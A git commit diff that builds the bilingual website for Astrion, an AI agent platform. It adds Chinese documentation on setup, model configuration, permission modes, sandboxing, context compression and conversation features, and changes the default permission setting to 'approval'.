feat: 官网完整版 —— 中英双语主页/文档站/演示区mock/联系我区块,已上线 astrion.cyjai.com

This commit is contained in:
JOJO 2026-09-04 02:30:30 +08:00
parent 64d0a377dc
commit 31d27eba69
95 changed files with 2768 additions and 424 deletions

View File

@ -2,14 +2,20 @@
[Astrion](https://github.com/JOJO6618/astrion)(暂定名「星子」)的官方网站:面向**用户**的使用指南与面向**开发者**的设计原理解读。
> 当前状态:**开发中**——文档文案已完成,主页 demo 正在迭代。
> 线上地址:**https://astrion.cyjai.com**
## 仓库结构
```
content/ 中文文档文案11 篇:快速上手/核心概念/对话/输入与上下文/
执行与安全/对话资产/智能体能力/快捷窗口/设置/CLI
demo/ 主页 demo深空星空 + 真实前端壳演示区 + 特色功能动画)
demo/ 站点根(部署到服务器的完整内容)
index.html 主页(深空星空 + 演示区 iframe + 特色动画 + FAQ + 联系我)
docs.html 文档站(前端渲染 content/ 下的 md
demo.html 演示区(真实前端壳 + Service Worker mock API
site-assets/ 样式与脚本(含 i18n.js 中英字典、anim-*.js 特色动画模块)
content/ 文档正文11 篇 markdown
mock/ 演示区 mock 数据
static/ 产品前端真实构建产物(演示区用)
content/ 文档文案源(与 demo/content/ 同步)
```
## 本地预览
@ -19,23 +25,21 @@ cd demo
python3 -m http.server 8898
```
| 页面 | 地址 | 说明 |
|------|------|------|
| 主页 | http://127.0.0.1:8898/index.html | 星空 + 演示区 iframe + 特色动画 01/02 |
| 修改记录动画 | http://127.0.0.1:8898/anim3-demo.html | 03编辑→diff→文件卡片→genie 收盒(三轮堆叠) |
| 运行模式动画 | http://127.0.0.1:8898/anim-demo.html | 01计划/询问/执行 |
| 沙箱动画 | http://127.0.0.1:8898/anim2-demo.html | 02恶意命令抛物线拦截 |
| 页面 | 地址 |
|------|------|
| 主页 | http://127.0.0.1:8898/index.html |
| 文档站 | http://127.0.0.1:8898/docs.html |
注意演示区demo.html依赖 Service Worker mock API必须通过 http 访问file:// 无效);改动 `demo.html`/`sw.js` 后需 bump `sw.js` 中的 CACHE 版本号并硬刷新。
注意演示区demo.html依赖 Service Worker mock API必须通过 http(s) 访问file:// 无效);改动 `demo.html`/`sw.js` 后需 bump `sw.js` 中的 CACHE 版本号并硬刷新。
## 部署
```bash
bash deploy_website.sh # rsync 到服务器 /var/www/astrion/59.110.19.30
```
## 技术要点
- **演示区 1:1 还原**`demo/static/` 是主项目前端真实构建产物Service Worker 拦截 `/api/*` 返回 mock 数据iframe 内固定 1400×860 逻辑尺寸 + 外层 `transform: scale()` 等比缩放。
- **多语言**:主页中英双语(`data-i18n` 标记 + `site-assets/i18n.js` 字典跟随浏览器语言自动切换页脚可手动切换四个特色动画模块anim-*.js通过 `T(zh,en)` + `setLocale()` 支持双语。
- **特色动画**无边框无底融于星空03 收盒用「裁切式 genie」——单个 SVG 元素每帧绘制 S 曲线 path描边跟随轮廓内容矢量不形变。
## 待办
- [ ] 03 动画集成进主页(容器宽度 540→460 适配)
- [ ] 04 版本控制动画
- [ ] 演示区对话数据编排3 工作区 6 对话)
- [ ] 响应式复查与正式发布

View File

@ -32,7 +32,7 @@ Astrion 有四组**相互正交**的概念,理解它们是理解整个系统
- `write_file` / `edit_file` 等写入类工具**直接拒绝**。
- 适用:让 AI 只做代码审查、只读分析、回答问题时。
### approval批准推荐默认)
### approval批准默认
- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。
- 工具返回的是重试后的最终结果AI 不会看到中间的拒绝过程。

View File

@ -70,7 +70,7 @@
个人空间「外观与显示」提供三种消息流显示模式:
- **传统列表**:所有消息平铺;
- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽;
- **极简模式**:最克制的显示,只看要点。
- **堆叠动画**:工具调用等中间块堆叠收纳,主干对话更清爽;
- **极简模式**(默认):最克制的显示,只看要点。
另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。

View File

@ -42,7 +42,7 @@
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) |
| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) |
| 消息流显示模式 | 极简模式 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) |
| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 |
| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 |
| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) |
@ -61,7 +61,7 @@
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 |
| 默认权限模式 | 批准 | 新终端的初始权限模式,四档行为见《核心概念》 |
| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 |
| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 |
| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.mdAI 始终带着项目规范干活。长期项目建议开 |

View File

@ -0,0 +1,241 @@
# 快速上手
本章带你从零跑起 Astrion克隆代码、完成初始化配置、启动服务并根据你的使用场景选择正确的运行形态。
---
## 1. 系统要求
| 依赖 | 要求 | 说明 |
|------|------|------|
| Python | 3.9 及以上(推荐 3.11 | 后端运行环境 |
| Node.js | 18 及以上 | 构建前端、使用 CLI |
| Docker | 可选 | 仅 **web/docker 模式**需要host 模式不需要 |
| WSL2 | 仅 Windows | Windows 上使用宿主机沙箱的前置条件 |
macOS、Linux、WindowsWSL2均可运行。三平台沙箱能力的差异见《核心概念》一章。
---
## 2. 安装
```bash
# 1. 克隆仓库
git clone https://github.com/JOJO6618/astrion.git
cd astrion
# 2. 初始化:创建 venv、安装依赖、运行交互式配置向导
# 向导会依次询问:运行模式 → 监听地址/端口 → 管理员账户 → 模型 API → 生成密钥
./setup.sh
# 3. 构建前端
npm install && npm run build
# 4.(仅 web/docker 模式)构建沙箱镜像,见下文「选择运行模式」
docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .
# 5. 启动
./start.sh
# 或者手动启动:
python -m server.app --port 8091 --thinking-mode
```
启动后访问 `http://localhost:8091`,用向导中设置的管理员账户登录。
> `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 `settings.json`」或系统环境变量,见下文「配置优先级」。
---
## 3. 运行端口与监听地址
- **默认端口:`8091`**`WEB_SERVER_PORT`)。
- 监听地址(`WEB_SERVER_HOST`
- 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达;
- 多用户/服务器部署:用 `0.0.0.0`
- 启动命令行参数 `--port` 可以临时覆盖配置。
- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader生产环境保持 `0`
---
## 4. 数据路径:数据都存在哪、怎么搬迁
Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**
```
~/.astrion/astrion/ ← 数据根目录data_root
├── settings.json ← 唯一配置文件(优先级最高)
├── config/ ← 部署级配置模型库等host/web 共享)
├── host/ ← host 模式的数据
│ ├── data/ users/ logs/ api/
└── web/ ← web/docker 模式的数据(结构同上)
```
按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`
### 路径相关环境变量(优先级从高到低)
| 环境变量 | 作用 |
|----------|------|
| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) |
| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion` |
| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/` |
具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`
### 配置优先级
同名配置生效顺序:**`<数据根>/settings.json` 系统环境变量 仓库根目录 `.env` 代码默认值**。
`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如:
```json
{
"server": { "port": 8091, "host": "127.0.0.1" }
}
```
---
## 5. 配置主智能体模型
主智能体的模型统一在 **`custom_models.json`** 中注册。
**放置位置**(按回退链查找,找到即止):
1. `<数据根>/config/custom_models.json`(生产推荐)
2. 仓库内 `config/custom_models.json`
3. 仓库内 `config/custom_models.json.example`(种子示例)
**完整字段说明**
```json
{
"models": [
{
"model_name": "Kimi-K3",
"description": "展示给用户的模型描述",
"visible": true,
"url": "${API_BASE_KIMI}",
"apikey": "${API_KEY_KIMI}",
"multimodal": "image,video",
"reasoning_capability": "fast,thinking",
"reasoning_effort": true,
"context_window": 1048576,
"max_output_tokens": 64000,
"thinkmode_status": {
"type": "param_toggle",
"model_id": "k3",
"fast_extra_parameter": { "thinking": { "type": "disabled" } },
"thinking_extra_parameter": { "thinking": { "effort": "max" } }
},
"extra_parameter": {},
"model_description": "注入系统提示词的模型自我描述"
}
]
}
```
| 字段 | 必填 | 说明 |
|------|------|------|
| `model_name` | ✅ | 模型条目名UI 中显示,也是各配置引用它的 key |
| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 |
| `apikey` | ✅ | API Key同样支持 `${...}` |
| `description` | | 列表中展示的说明文字 |
| `visible` | | 是否在模型选择菜单中可见 |
| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 |
| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 |
| `reasoning_effort` | | 是否支持「推理强度」滑块 |
| `context_window` | | 上下文窗口大小token压缩阈值、用量统计以此为基准 |
| `max_output_tokens` | | 单次最大输出 token |
| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 |
| `extra_parameter` | | 所有请求都附加的额外参数 |
| `model_description` | | 注入系统提示词的自我介绍 |
**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。
> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。
**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。
> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。
---
## 6. 配置子智能体模型
子智能体(含三个审核智能体)使用**独立的模型库**`sub_agent_models.json`。
**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。
**结构**
```json
{
"default_model": "deepseek-v4-flash",
"models": [
{
"name": "deepseek-v4-flash",
"url": "${SUB_AGENT_API_BASE}",
"apikey": "${SUB_AGENT_API_KEY}",
"model_id": "deepseek-v4-flash",
"modes": "fast,thinking",
"multimodal": "image",
"max_output": 32000,
"max_context": 128000,
"extra_parameter": {},
"fast_extra_parameter": {},
"thinking_extra_parameter": {}
}
]
}
```
要点:
- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。
- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。
- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。
- `url` / `apikey` 同样支持 `${环境变量}` 引用。
**子智能体相关环境变量**
| 变量 | 默认 | 说明 |
|------|------|------|
| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 |
| `SUB_AGENT_DEFAULT_TIMEOUT` | 180 | 默认超时 |
| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 |
| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) |
---
## 7. 选择运行模式host 还是 dockerweb
`TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景:
| | **host 模式** | **web/docker 模式** |
|---|---|---|
| 定位 | 本地个人使用 | 服务器多用户部署 |
| 命令执行 | 宿主机 OS 沙箱macOS sandbox-exec / Linux bwrap / Windows WSL2 | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 |
| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` |
| 前置准备 | 无需镜像Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) |
| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` |
选择建议:
- **一个人在自己电脑上用**`host`。文件管理器、本地工具链直接可用,体验最好。
- **部署到服务器给多人用**`docker`。容器天然隔离用户之间的文件与进程。
- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。
沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR含中文/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**web 模式启动前必须手动构建一次。
---
## 8. 首次启动检查清单
1. 浏览器打开 `http://localhost:8091`,用管理员账户登录;
2. 进入个人空间,确认「模型与思考」页能看到你配置的模型;
3. 随便发一条消息,确认主智能体能正常回复;
4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发确认 `sub_agent_models.json` 配置正确;
5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。
到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。

View File

@ -0,0 +1,111 @@
# 核心概念
Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」:
| 概念组 | 取值 | 决定什么 | 在哪里切换 |
|--------|------|----------|------------|
| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) |
| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) |
| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) |
| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) |
---
## 1. 部署模式host vs dockerweb
部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。
- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。
- **docker 模式web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。
两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。
> 注意docker 模式同样有只读强制——受限档权限readonly/approval/auto_approval命令以非特权用户uid 10001在容器内执行写入由内核文件权限直接拒绝「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。
## 2. 权限模式AI 能做什么
权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。
### readonly只读
- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。
- `write_file` / `edit_file` 等写入类工具**直接拒绝**。
- 适用:让 AI 只做代码审查、只读分析、回答问题时。
### approval批准默认
- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。
- 工具返回的是重试后的最终结果AI 不会看到中间的拒绝过程。
- 审批拒绝或超时:本次不执行,不写入。
### auto_approval自动审核
- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI可在个人空间配置它的模型与参数
- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。
- 自动审批拒绝时AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。
- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。
### unrestricted无限制
- 权限层不做任何拦截,工具直接执行。
- 此时安全边界完全由执行环境决定见下节sandbox 下仍有 OS 沙箱兜底direct 下等于裸奔。
## 3. 执行环境sandbox vs direct
执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱:
- **sandbox默认**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。
- **direct高风险**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档readonly/approval/auto_approval与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
### 各平台沙箱实现与安全水位(请务必阅读)
| 平台 | 实现 | 安全水位 |
|------|------|----------|
| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 |
| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) |
| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 |
这是官方对当前安全能力的如实说明把沙箱当作「防误操作」的手段三个平台都是可靠的把它当作「防恶意窃取数据」的手段macOS白名单与 WindowsWSL2可以信赖Linux 暂时不行。
### 路径授权
host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
- **可读可写路径**AI 可以读也可以改;
- **仅可读路径**AI 能看但不能改。
关系:`可读集合 = 可读可写 + 仅可读``可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。
> 终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境sandbox ⇄ direct、权限档在受限档与无限制之间互切、切换工作区或容器时现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
### 网络权限
独立于文件沙箱的另一组开关plan 模式下也可调):
- **受限**(默认):仅允许本地回环访问,外部网络不可达;
- **完全开放**:允许所有出站/入站连接。
## 4. 运行模式AI 与你的交互节奏
运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。
- **plan计划**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。
- **ask询问**先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。
- **execute执行**AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。
### 常见组合
| 场景 | 推荐组合 |
|------|----------|
| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox |
| 日常随手用、追求效率 | execute + auto_approval + sandbox |
| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly执行环境自动锁沙箱 |
| 服务器多用户部署 | docker 模式(执行环境概念不适用) |
## 5. 四组概念的联动规则速查
1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox网络权限仍可调
2. 受限档权限readonly/approval/auto_approval→ 执行环境自动锁定为 sandboxdirect 仅 unrestricted 可用;
3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境;
4. docker 模式下没有 sandbox/direct 之分,容器即边界;
5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。

View File

@ -0,0 +1,76 @@
# 对话
本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。
---
## 1. 对话类型:普通 vs 多智能体
创建对话时选定,**创建后不可变**
- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。
- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信但每次沟通都会同步汇报给 Team Leader不存在"私下串通"。
切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。
多智能体的完整玩法见《智能体能力》一章。
## 2. 思考模式与推理强度
两个独立开关,都作用于当前对话:
- **思考模式**`快速fast` / `思考thinking`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。
- **推理强度Effort**`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。
> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。
## 3. 目标模式Beta
> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。
普通对话里AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。
**用法**
1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态;
2. 你发送的下一条消息会被当作**目标**(而不是普通任务);
3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮;
4. 达成、触顶或你手动取消时停止。
**结束条件**(个人空间可配,可多选):
- `max_turns`:最多自动续 N 轮(有默认值,可调);
- `max_tokens`:累计(输入+输出token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。
**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式:
- `readonly`(默认):审核智能体只读对话内容来判断目标进度;
- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。
目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。
## 4. 对话面板:回顾 / 用量 / 实时终端
输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**
- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。
- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。
- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。
## 5. 对话管理
- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。
- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。
- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。
- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」route还是「立即创建空对话」blank
- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。
## 6. 对话显示模式
个人空间「外观与显示」提供三种消息流显示模式:
- **传统列表**:所有消息平铺;
- **堆叠动画**:工具调用等中间块堆叠收纳,主干对话更清爽;
- **极简模式**(默认):最克制的显示,只看要点。
另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。

View File

@ -0,0 +1,89 @@
# 输入与上下文
本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。
---
## 1. `+` 快捷菜单(完整功能清单)
点击输入栏左侧 `+` 打开。完整功能一览:
| 功能 | 说明 |
|------|------|
| 新建对话 | 开始一个新对话(等价 `new` / `clear` |
| 上传文件 | 选择本地文件上传到工作区 |
| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) |
| 压缩对话 | 手动触发一次上下文压缩 |
| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) |
| 工作流 | 激活一个工作流,让智能体按既定流程推进 |
| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) |
| 切换工作模式 | plan / ask / execute |
| 切换主题 | 经典 / 明亮 / 夜间 |
| 对话回顾 | 打开当前对话回顾 |
| 用量统计 | 上下文与 token 用量面板 |
| 目标模式 | 切换目标模式Beta见《对话》章 |
| 个人设置 | 打开个人空间 |
| 实时终端 | 打开实时终端面板 |
| 切换模型 | 选择本对话使用的模型 |
| 思考模式 | 切换 fast / thinking |
| 权限模式 | 切换 readonly / approval / auto / unrestricted |
| 网络权限 | 受限 / 完全开放plan 模式下也可调) |
| 执行环境 | sandbox / direct仅 host 模式) |
| 切换工作区 / 项目 | 切换当前对话绑定的工作区 |
| 版本控制 | 开/关本对话的版本控制 |
| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 |
| 路径授权 | 查看和管理沙箱路径授权 |
| 审批面板 | 查看审批记录 |
## 2. `/` 斜杠菜单
在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类AgentSkills`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。
典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。
## 3. `@` 文件引用
输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。
## 4. 上下文压缩:浅压缩与深压缩
长对话迟早会触及模型上下文上限Astrion 提供两级自动压缩 + 手动压缩:
### 浅压缩(默认关闭)
- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。
- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。
- ⚠️ **重要代价浅压缩会改动历史消息内容从而破坏服务商侧的上下文缓存prompt cache**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。
### 深压缩(默认开启,推荐)
- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。
- 产物形式可选(`deep_compress_form``file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。
- 触发:默认 150k tokens。
### 自定义阈值的 80% 规则(务必遵守)
如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。
例如模型实际上下文是 128k触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩既浪费 token又频繁破坏上下文缓存还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。
> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。
### 手动压缩
`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。
## 5. 上下文注入类功能
这些功能影响每轮对话自动携带的上下文,都在个人空间配置:
- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文N 可配130默认 10。适合「我最近一直在折腾同一个项目」的连续工作流与「对话连续性」个性化设置配合使用。
- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。
- **项目记忆索引注入**AI 的项目记忆索引默认最多注入 20 条5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。
- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。
## 6. 上传与多模态
- **上传文件**进入工作区AI 后续可读取处理;
- **发送图片/视频**:随消息直接进入多模态上下文;
- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。

View File

@ -0,0 +1,86 @@
# 执行与安全
本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。
> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。
---
## 1. 命令是怎么被执行的
### run_command两段式执行
以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是:
1. **先在只读身份下执行**——能读不能写host 模式靠 OS 沙箱docker 模式靠容器内的非特权用户);
2. 如果命令没碰写操作,直接返回结果,全程无感;
3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**
